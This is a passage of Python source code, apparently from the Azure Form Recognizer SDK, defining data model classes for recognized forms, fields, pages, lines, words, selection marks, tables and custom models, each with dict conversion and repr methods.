Model identifier of model used to analyze form if not using a prebuilt\n model.\n :ivar fields:\n A dictionary of the fields found on the form. The fields dictionary\n keys are the `name` of the field. For models trained with labels,\n this is the training-time label of the field. For models trained\n without labels, a unique name is generated for each field.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.FormField]\n :ivar ~azure.ai.formrecognizer.FormPageRange page_range:\n The first and last page number of the input form.\n :ivar list[~azure.ai.formrecognizer.FormPage] pages:\n A list of pages recognized from the input document. Contains lines,\n words, selection marks, tables and page metadata.\n\n .. versionadded:: v2.1\n The *form_type_confidence* and *model_id* properties, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.fields = kwargs.get(\"fields\", None)\n self.form_type = kwargs.get(\"form_type\", None)\n self.page_range = kwargs.get(\"page_range\", None)\n self.pages = kwargs.get(\"pages\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n self.form_type_confidence = kwargs.get(\"form_type_confidence\", None)\n\n def __repr__(self):\n return (\n \"RecognizedForm(form_type={}, fields={}, page_range={}, pages={}, form_type_confidence={}, \"\n \"model_id={})\".format(\n self.form_type,\n repr(self.fields),\n repr(self.page_range),\n repr(self.pages),\n self.form_type_confidence,\n self.model_id,\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of RecognizedForm.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"form_type\": self.form_type,\n \"pages\": [v.to_dict() for v in self.pages] if self.pages else [],\n \"model_id\": self.model_id,\n \"form_type_confidence\": self.form_type_confidence,\n \"page_range\": self.page_range.to_dict() if self.page_range else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> RecognizedForm\n \"\"\"Converts a dict in the shape of a RecognizedForm to the model itself.\n\n :param dict data: A dictionary in the shape of RecognizedForm.\n :return: RecognizedForm\n :rtype: RecognizedForm\n \"\"\"\n return cls(\n fields={k: FormField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n form_type=data.get(\"form_type\", None),\n pages=[FormPage.from_dict(v) for v in data.get(\"pages\")] # type: ignore\n if len(data.get(\"pages\", [])) > 0\n else [],\n model_id=data.get(\"model_id\", None),\n form_type_confidence=data.get(\"form_type_confidence\", None),\n page_range=FormPageRange.from_dict(data.get(\"page_range\")) # type: ignore\n if data.get(\"page_range\")\n else None,\n )\n\n\nclass FormField(object):\n \"\"\"Represents a field recognized in an input form.\n\n :ivar str value_type: The type of `value` found on FormField. Described in\n :class:`~azure.ai.formrecognizer.FieldValueType`, possible types include: 'string',\n 'date', 'time', 'phoneNumber', 'float', 'integer', 'dictionary', 'list', 'selectionMark',\n or 'countryRegion'.\n :ivar ~azure.ai.formrecognizer.FieldData label_data:\n Contains the text, bounding box, and field elements for the field label.\n Note that this is not returned for forms analyzed by models trained with labels.\n :ivar ~azure.ai.formrecognizer.FieldData value_data:\n Contains the text, bounding box, and field elements for the field value.\n :ivar str name: The unique name of the field or the training-time label if\n analyzed from a custom model that was trained with labels.\n :ivar value:\n The value for the recognized field. Its semantic data type is described by `value_type`.\n If the value is extracted from the form, but cannot be normalized to its type,\n then access the `value_data.text` property for a textual representation of the value.\n :vartype value: str, int, float, :class:`~datetime.date`, :class:`~datetime.time`,\n dict[str, :class:`~azure.ai.formrecognizer.FormField`], or list[:class:`~azure.ai.formrecognizer.FormField`]\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.value_type = kwargs.get(\"value_type\", None)\n self.label_data = kwargs.get(\"label_data\", None)\n self.value_data = kwargs.get(\"value_data\", None)\n self.name = kwargs.get(\"name\", None)\n self.value = kwargs.get(\"value\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, field, value, read_result):\n return cls(\n value_type=adjust_value_type(value.type) if value else None,\n label_data=None, # not returned with receipt/supervised\n value_data=FieldData._from_generated(value, read_result),\n value=get_field_value(field, value, read_result),\n name=field,\n confidence=adjust_confidence(value.confidence) if value else None,\n )\n\n @classmethod\n def _from_generated_unlabeled(cls, field, idx, page, read_result):\n return cls(\n value_type=\"string\", # unlabeled only returns string\n label_data=FieldData._from_generated_unlabeled(\n field.key, page, read_result\n ),\n value_data=FieldData._from_generated_unlabeled(\n field.value, page, read_result\n ),\n value=field.value.text,\n name=\"field-\" + str(idx),\n confidence=adjust_confidence(field.confidence),\n )\n\n def __repr__(self):\n return \"FormField(value_type={}, label_data={}, value_data={}, name={}, value={}, confidence={})\".format(\n self.value_type,\n repr(self.label_data),\n repr(self.value_data),\n self.name,\n repr(self.value),\n self.confidence,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n value = self.value\n if isinstance(self.value, dict):\n value = {k: v.to_dict() for k, v in self.value.items()}\n elif isinstance(self.value, list):\n value = [v.to_dict() for v in self.value]\n return {\n \"value_type\": self.value_type,\n \"name\": self.name,\n \"value\": value,\n \"confidence\": self.confidence,\n \"label_data\": self.label_data.to_dict() if self.label_data else None,\n \"value_data\": self.value_data.to_dict() if self.value_data else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormField\n \"\"\"Converts a dict in the shape of a FormField to the model itself.\n\n :param dict data: A dictionary in the shape of FormField.\n :return: FormField\n :rtype: FormField\n \"\"\"\n value = data.get(\"value\", None)\n if isinstance(data.get(\"value\"), dict):\n value = {k: FormField.from_dict(v) for k, v in data.get(\"value\").items()} # type: ignore\n elif isinstance(data.get(\"value\"), list):\n value = [FormField.from_dict(v) for v in data.get(\"value\")] # type: ignore\n\n return cls(\n value_type=data.get(\"value_type\", None),\n name=data.get(\"name\", None),\n value=value,\n confidence=data.get(\"confidence\", None),\n label_data=FieldData.from_dict(data.get(\"label_data\")) # type: ignore\n if data.get(\"label_data\")\n else None,\n value_data=FieldData.from_dict(data.get(\"value_data\")) # type: ignore\n if data.get(\"value_data\")\n else None,\n )\n\n\nclass FieldData(object):\n \"\"\"Contains the data for the form field. This includes the text,\n location of the text on the form, and a collection of the\n elements that make up the text.\n\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str text: The string representation of the field or value.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar field_elements:\n When `include_field_elements` is set to true, a list of\n elements constituting this field or value is returned. The list\n constitutes of elements such as lines, words, and selection marks.\n :vartype field_elements: list[Union[~azure.ai.formrecognizer.FormElement, ~azure.ai.formrecognizer.FormWord,\n ~azure.ai.formrecognizer.FormLine, ~azure.ai.formrecognizer.FormSelectionMark]]\n\n .. versionadded:: v2.1\n *FormSelectionMark* is added to the types returned in the list of field_elements, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.text = kwargs.get(\"text\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.field_elements = kwargs.get(\"field_elements\", None)\n\n @classmethod\n def _from_generated(cls, field, read_result):\n if field is None or all(\n field_data is None\n for field_data in [field.page, field.text, field.bounding_box]\n ):\n return None\n return cls(\n page_number=field.page,\n text=field.text,\n bounding_box=get_bounding_box(field),\n field_elements=[\n resolve_element(element, read_result) for element in field.elements\n ]\n if field.elements\n else None,\n )\n\n @classmethod\n def _from_generated_unlabeled(cls, field, page, read_result):\n return cls(\n page_number=page,\n text=field.text,\n bounding_box=get_bounding_box(field),\n field_elements=[\n resolve_element(element, read_result) for element in field.elements\n ]\n if field.elements\n else None,\n )\n\n def __repr__(self):\n return \"FieldData(page_number={}, text={}, bounding_box={}, field_elements={})\".format(\n self.page_number, self.text, self.bounding_box, repr(self.field_elements)\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FieldData.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"page_number\": self.page_number,\n \"field_elements\": [f.to_dict() for f in self.field_elements]\n if self.field_elements\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FieldData\n \"\"\"Converts a dict in the shape of a FieldData to the model itself.\n\n :param dict data: A dictionary in the shape of FieldData.\n :return: FieldData\n :rtype: FieldData\n \"\"\"\n field_elements = []\n for v in data.get(\"field_elements\"): # type: ignore\n if v.get(\"kind\") == \"word\":\n field_elements.append(FormWord.from_dict(v))\n elif v.get(\"kind\") == \"line\":\n field_elements.append(FormLine.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"selectionMark\":\n field_elements.append(FormSelectionMark.from_dict(v)) # type: ignore\n else:\n field_elements.append(FormElement.from_dict(v)) # type: ignore\n\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(f) for f in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n field_elements=field_elements,\n )\n\n\nclass FormPage(object):\n \"\"\"Represents a page recognized from the input document. Contains lines,\n words, selection marks, tables and page metadata.\n\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar float text_angle:\n The general orientation of the text in clockwise direction, measured in\n degrees between (-180, 180].\n :ivar float width:\n The width of the image/PDF in pixels/inches, respectively.\n :ivar float height:\n The height of the image/PDF in pixels/inches, respectively.\n :ivar str unit:\n The :class:`~azure.ai.formrecognizer.LengthUnit` used by the width,\n height, and bounding box properties. For images, the unit is \"pixel\".\n For PDF, the unit is \"inch\".\n :ivar list[~azure.ai.formrecognizer.FormTable] tables:\n A list of extracted tables contained in a page.\n :ivar list[~azure.ai.formrecognizer.FormLine] lines:\n When `include_field_elements` is set to true, a list of recognized text lines is returned.\n For calls to recognize content, this list is always populated. The maximum number of lines\n returned is 300 per page. The lines are sorted top to bottom, left to right, although in\n certain cases proximity is treated with higher priority. As the sorting order depends on\n the detected text, it may change across images and OCR version updates. Thus, business\n logic should be built upon the actual line location instead of order. The reading order\n of lines can be specified by the `reading_order` keyword argument (Note: `reading_order`\n only supported in `begin_recognize_content` and `begin_recognize_content_from_url`).\n :ivar selection_marks: List of selection marks extracted from the page.\n :vartype selection_marks: list[~azure.ai.formrecognizer.FormSelectionMark]\n\n .. versionadded:: v2.1\n *selection_marks* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.text_angle = kwargs.get(\"text_angle\", None)\n self.width = kwargs.get(\"width\", None)\n self.height = kwargs.get(\"height\", None)\n self.unit = kwargs.get(\"unit\", None)\n self.tables = kwargs.get(\"tables\", None)\n self.lines = kwargs.get(\"lines\", None)\n self.selection_marks = kwargs.get(\"selection_marks\", None)\n\n def __repr__(self):\n return (\n \"FormPage(page_number={}, text_angle={}, width={}, height={}, unit={}, tables={}, lines={},\"\n \"selection_marks={})\".format(\n self.page_number,\n self.text_angle,\n self.width,\n self.height,\n self.unit,\n repr(self.tables),\n repr(self.lines),\n repr(self.selection_marks),\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormPage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"text_angle\": self.text_angle,\n \"width\": self.width,\n \"height\": self.height,\n \"unit\": self.unit,\n \"tables\": [table.to_dict() for table in self.tables] if self.tables else [],\n \"lines\": [line.to_dict() for line in self.lines] if self.lines else [],\n \"selection_marks\": [mark.to_dict() for mark in self.selection_marks]\n if self.selection_marks\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormPage\n \"\"\"Converts a dict in the shape of a FormPage to the model itself.\n\n :param dict data: A dictionary in the shape of FormPage.\n :return: FormPage\n :rtype: FormPage\n \"\"\"\n return cls(\n text_angle=data.get(\"text_angle\", None),\n width=data.get(\"width\", None),\n height=data.get(\"height\", None),\n unit=data.get(\"unit\", None),\n page_number=data.get(\"page_number\", None),\n tables=[FormTable.from_dict(v) for v in data.get(\"tables\")] # type: ignore\n if len(data.get(\"tables\", [])) > 0\n else [],\n lines=[FormLine.from_dict(v) for v in data.get(\"lines\")] # type: ignore\n if len(data.get(\"lines\", [])) > 0\n else [],\n selection_marks=[\n FormSelectionMark.from_dict(v) for v in data.get(\"selection_marks\") # type: ignore\n ]\n if len(data.get(\"selection_marks\", [])) > 0\n else [],\n )\n\n\nclass FormLine(FormElement):\n \"\"\"An object representing an extracted line of text.\n\n :ivar str text: The text content of the line.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar list[~azure.ai.formrecognizer.FormWord] words:\n A list of the words that make up the line.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormLine, this is \"line\".\n :ivar appearance: An object representing the appearance of the line.\n :vartype appearance: ~azure.ai.formrecognizer.Appearance\n\n .. versionadded:: v2.1\n *appearance* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormLine, self).__init__(kind=\"line\", **kwargs)\n self.words = kwargs.get(\"words\", None)\n self.appearance = kwargs.get(\"appearance\", None)\n\n @classmethod\n def _from_generated(cls, line, page):\n line_appearance = (\n TextAppearance._from_generated(line.appearance)\n if hasattr(line, \"appearance\")\n else None\n )\n return cls(\n text=line.text,\n bounding_box=get_bounding_box(line),\n page_number=page,\n words=[FormWord._from_generated(word, page) for word in line.words]\n if line.words\n else None,\n appearance=line_appearance,\n )\n\n def __repr__(self):\n return \"FormLine(text={}, bounding_box={}, words={}, page_number={}, kind={}, appearance={})\".format(\n self.text,\n self.bounding_box,\n repr(self.words),\n self.page_number,\n self.kind,\n self.appearance,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormLine.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"words\": [f.to_dict() for f in self.words] if self.words else [],\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n \"appearance\": self.appearance.to_dict() if self.appearance else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormLine\n \"\"\"Converts a dict in the shape of a FormLine to the model itself.\n\n :param dict data: A dictionary in the shape of FormLine.\n :return: FormLine\n :rtype: FormLine\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n words=[FormWord.from_dict(v) for v in data.get(\"words\")] # type: ignore\n if len(data.get(\"words\", [])) > 0\n else [],\n appearance=TextAppearance.from_dict(data.get(\"appearance\")) # type: ignore\n if data.get(\"appearance\")\n else None,\n )\n\n\nclass FormWord(FormElement):\n \"\"\"Represents a word recognized from the input document.\n\n :ivar str text: The text content of the word.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormWord, this is \"word\".\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormWord, self).__init__(kind=\"word\", **kwargs)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, word, page):\n return cls(\n text=word.text,\n bounding_box=get_bounding_box(word),\n confidence=adjust_confidence(word.confidence),\n page_number=page,\n )\n\n def __repr__(self):\n return \"FormWord(text={}, bounding_box={}, confidence={}, page_number={}, kind={})\".format(\n self.text, self.bounding_box, self.confidence, self.page_number, self.kind\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormWord.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"confidence\": self.confidence,\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormWord\n \"\"\"Converts a dict in the shape of a FormWord to the model itself.\n\n :param dict data: A dictionary in the shape of FormWord.\n :return: FormWord\n :rtype: FormWord\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass FormSelectionMark(FormElement):\n \"\"\"Information about the extracted selection mark.\n\n :ivar str text: The text content - not returned for FormSelectionMark.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar str state: State of the selection mark. Possible values include: \"selected\",\n \"unselected\".\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar str kind: For FormSelectionMark, this is \"selectionMark\".\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n super(FormSelectionMark, self).__init__(kind=\"selectionMark\", **kwargs)\n self.confidence = kwargs[\"confidence\"]\n self.state = kwargs[\"state\"]\n\n @classmethod\n def _from_generated(cls, mark, page):\n return cls(\n confidence=adjust_confidence(mark.confidence),\n state=mark.state,\n bounding_box=get_bounding_box(mark),\n page_number=page,\n )\n\n def __repr__(self):\n return \"FormSelectionMark(text={}, bounding_box={}, confidence={}, page_number={}, state={}, kind={})\".format(\n self.text,\n self.bounding_box,\n self.confidence,\n self.page_number,\n self.state,\n self.kind,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormSelectionMark.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"confidence\": self.confidence,\n \"state\": self.state,\n \"page_number\": self.page_number,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormSelectionMark\n \"\"\"Converts a dict in the shape of a FormSelectionMark to the model itself.\n\n :param dict data: A dictionary in the shape of FormSelectionMark.\n :return: FormSelectionMark\n :rtype: FormSelectionMark\n \"\"\"\n return cls(\n text=data.get(\"text\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n state=data.get(\"state\", None),\n )\n\n\nclass FormTable(object):\n \"\"\"Information about the extracted table contained on a page.\n\n :ivar int page_number:\n The 1-based number of the page in which this table is present.\n :ivar list[~azure.ai.formrecognizer.FormTableCell] cells:\n List of cells contained in the table.\n :ivar int row_count:\n Number of rows in table.\n :ivar int column_count:\n Number of columns in table.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the table. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n\n .. versionadded:: v2.1\n The *bounding_box* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.cells = kwargs.get(\"cells\", None)\n self.row_count = kwargs.get(\"row_count\", None)\n self.column_count = kwargs.get(\"column_count\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n\n def __repr__(self):\n return \"FormTable(page_number={}, cells={}, row_count={}, column_count={}, bounding_box={})\".format(\n self.page_number,\n repr(self.cells),\n self.row_count,\n self.column_count,\n self.bounding_box,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormTable.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"row_count\": self.row_count,\n \"column_count\": self.column_count,\n \"cells\": [cell.to_dict() for cell in self.cells],\n \"bounding_box\": [box.to_dict() for box in self.bounding_box]\n if self.bounding_box\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormTable\n \"\"\"Converts a dict in the shape of a FormTable to the model itself.\n\n :param dict data: A dictionary in the shape of FormTable.\n :return: FormTable\n :rtype: FormTable\n \"\"\"\n return cls(\n row_count=data.get(\"row_count\", None),\n page_number=data.get(\"page_number\", None),\n column_count=data.get(\"column_count\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n cells=[FormTableCell.from_dict(v) for v in data.get(\"cells\")] # type: ignore\n if len(data.get(\"cells\", [])) > 0\n else [],\n )\n\n\nclass FormTableCell(object): # pylint:disable=too-many-instance-attributes\n \"\"\"Represents a cell contained in a table recognized from the input document.\n\n :ivar str text: Text content of the cell.\n :ivar int row_index: Row index of the cell.\n :ivar int column_index: Column index of the cell.\n :ivar int row_span: Number of rows spanned by this cell.\n :ivar int column_span: Number of columns spanned by this cell.\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order: top-left, top-right, bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar float confidence:\n Measures the degree of certainty of the recognition result. Value is between [0.0, 1.0].\n :ivar bool is_header: Whether the current cell is a header cell.\n :ivar bool is_footer: Whether the current cell is a footer cell.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n :ivar field_elements:\n When `include_field_elements` is set to true, a list of\n elements constituting this cell is returned. The list\n constitutes of elements such as lines, words, and selection marks.\n For calls to begin_recognize_content(), this list is always populated.\n :vartype field_elements: list[Union[~azure.ai.formrecognizer.FormElement, ~azure.ai.formrecognizer.FormWord,\n ~azure.ai.formrecognizer.FormLine, ~azure.ai.formrecognizer.FormSelectionMark]]\n\n .. versionadded:: v2.1\n *FormSelectionMark* is added to the types returned in the list of field_elements, support for\n *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.text = kwargs.get(\"text\", None)\n self.row_index = kwargs.get(\"row_index\", None)\n self.column_index = kwargs.get(\"column_index\", None)\n self.row_span = kwargs.get(\"row_span\", 1)\n self.column_span = kwargs.get(\"column_span\", 1)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n self.is_header = kwargs.get(\"is_header\", False)\n self.is_footer = kwargs.get(\"is_footer\", False)\n self.page_number = kwargs.get(\"page_number\", None)\n self.field_elements = kwargs.get(\"field_elements\", None)\n\n @classmethod\n def _from_generated(cls, cell, page, read_result):\n return cls(\n text=cell.text,\n row_index=cell.row_index,\n column_index=cell.column_index,\n row_span=cell.row_span or 1,\n column_span=cell.column_span or 1,\n bounding_box=get_bounding_box(cell),\n confidence=adjust_confidence(cell.confidence),\n is_header=cell.is_header or False,\n is_footer=cell.is_footer or False,\n page_number=page,\n field_elements=[\n resolve_element(element, read_result) for element in cell.elements\n ]\n if cell.elements\n else None,\n )\n\n def __repr__(self):\n return (\n \"FormTableCell(text={}, row_index={}, column_index={}, row_span={}, column_span={}, \"\n \"bounding_box={}, confidence={}, is_header={}, is_footer={}, page_number={}, field_elements={})\".format(\n self.text,\n self.row_index,\n self.column_index,\n self.row_span,\n self.column_span,\n self.bounding_box,\n self.confidence,\n self.is_header,\n self.is_footer,\n self.page_number,\n repr(self.field_elements),\n )[\n :1024\n ]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormTableCell.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"row_index\": self.row_index,\n \"column_index\": self.column_index,\n \"row_span\": self.row_span,\n \"column_span\": self.column_span,\n \"confidence\": self.confidence,\n \"is_header\": self.is_header,\n \"is_footer\": self.is_footer,\n \"page_number\": self.page_number,\n \"bounding_box\": [box.to_dict() for box in self.bounding_box]\n if self.bounding_box\n else [],\n \"field_elements\": [element.to_dict() for element in self.field_elements]\n if self.field_elements\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormTableCell\n \"\"\"Converts a dict in the shape of a FormTableCell to the model itself.\n\n :param dict data: A dictionary in the shape of FormTableCell.\n :return: FormTableCell\n :rtype: FormTableCell\n \"\"\"\n field_elements = []\n for v in data.get(\"field_elements\"): # type: ignore\n if v.get(\"kind\") == \"word\":\n field_elements.append(FormWord.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"line\":\n field_elements.append(FormLine.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"selectionMark\":\n field_elements.append(FormSelectionMark.from_dict(v)) # type: ignore\n else:\n field_elements.append(FormElement.from_dict(v)) # type: ignore\n\n return cls(\n text=data.get(\"text\", None),\n row_index=data.get(\"row_index\", None),\n column_index=data.get(\"column_index\", None),\n row_span=data.get(\"row_span\", None),\n column_span=data.get(\"column_span\", None),\n confidence=data.get(\"confidence\", None),\n is_header=data.get(\"is_header\", None),\n is_footer=data.get(\"is_footer\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n field_elements=field_elements,\n )\n\n\nclass CustomFormModel(object):\n \"\"\"Represents a trained model.\n\n :ivar str model_id: The unique identifier of this model.\n :ivar str status:\n Status indicating the model's readiness for use,\n :class:`~azure.ai.formrecognizer.CustomFormModelStatus`.\n Possible values include: 'creating', 'ready', 'invalid'.\n :ivar ~datetime.datetime training_started_on:\n The date and time (UTC) when model training was started.\n :ivar ~datetime.datetime training_completed_on:\n Date and time (UTC) when model training completed.\n :ivar list[~azure.ai.formrecognizer.CustomFormSubmodel] submodels:\n A list of submodels that are part of this model, each of\n which can recognize and extract fields from a different type of form.\n :ivar list[~azure.ai.formrecognizer.FormRecognizerError] errors:\n List of any training errors.\n :ivar list[~azure.ai.formrecognizer.TrainingDocumentInfo] training_documents:\n Metadata about each of the documents used to train the model.\n :ivar str model_name: Optional user defined model name.\n :ivar properties: Optional model properties.\n :vartype properties: ~azure.ai.formrecognizer.CustomFormModelProperties\n\n .. versionadded:: v2.1\n The *model_name* and *properties* properties, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.training_started_on = kwargs.get(\"training_started_on\", None)\n self.training_completed_on = kwargs.get(\"training_completed_on\", None)\n self.submodels = kwargs.get(\"submodels\", None)\n self.errors = kwargs.get(\"errors\", None)\n self.training_documents = kwargs.get(\"training_documents\", None)\n self.model_name = kwargs.get(\"model_name\", None)\n self.properties = kwargs.get(\"properties\", None)\n\n @classmethod\n def _from_generated(cls, model, api_version):\n model_name = (\n model.model_info.model_name\n if hasattr(model.model_info, \"model_name\")\n else None\n )\n properties = (\n CustomFormModelProperties._from_generated(model.model_info)\n if hasattr(model.model_info, \"attributes\")\n else None\n )\n return cls(\n model_id=model.model_info.model_id,\n status=model.model_info.status,\n training_started_on=model.model_info.created_date_time,\n training_completed_on=model.model_info.last_updated_date_time,\n submodels=CustomFormSubmodel._from_generated_unlabeled(model)\n if model.keys\n else CustomFormSubmodel._from_generated_labeled(\n model, api_version, model_name=model_name\n ),\n errors=FormRecognizerError._from_generated(model.train_result.errors)\n if model.train_result\n else None,\n training_documents=TrainingDocumentInfo._from_generated(model.train_result)\n if model.train_result\n else None,\n properties=properties,\n model_name=model_name,\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n return cls(\n model_id=model.model_info.model_id,\n status=model.model_info.status,\n training_started_on=model.model_info.created_date_time,\n training_completed_on=model.model_info.last_updated_date_time,\n submodels=CustomFormSubmodel._from_generated_composed(model),\n training_documents=TrainingDocumentInfo._from_generated_composed(model),\n properties=CustomFormModelProperties._from_generated(model.model_info),\n model_name=model.model_info.model_name,\n )\n\n def __repr__(self):\n return (\n \"CustomFormModel(model_id={}, status={}, training_started_on={}, training_completed_on={}, \"\n \"submodels={}, errors={}, training_documents={}, model_name={}, properties={})\".format(\n self.model_id,\n self.status,\n self.training_started_on,\n self.training_completed_on,\n repr(self.submodels),\n repr(self.errors),\n repr(self.training_documents),\n self.model_name,\n repr(self.properties),\n )[\n :1024\n ]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n 